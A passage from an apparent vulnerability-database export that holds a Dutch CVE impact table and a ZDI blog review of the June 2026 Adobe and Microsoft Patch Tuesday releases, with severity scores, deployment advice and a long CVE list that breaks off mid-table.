gebruiker       | \n| CVE-2026-47641 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-33113 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-45454 | 6.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-45462 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-45464 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-45465 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-47634 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-47640 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-45481 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-45484 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48560 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-48562 | 4.60 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45475 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-45471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-45486 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-45485 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44819 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44821 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44824 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-45466 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45643 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-45457 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Teams for Android: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42835 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nOffice for Android: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45649 | 7.10 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Project: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45483 | 4.60 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45472 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-45474 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-45456 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-45458 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-45460 | 4.70 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45461 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-45645 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47635 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-45463 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45469 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44817 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44818 | 7.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-44820 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44823 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44822 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45455 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45459 | 3.30 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Click-To-Run: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47293 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-06-09T16:04:53.000000Z"}, {"uuid": "4c3978af-590e-4748-8c7f-de9926f209f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48567", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel 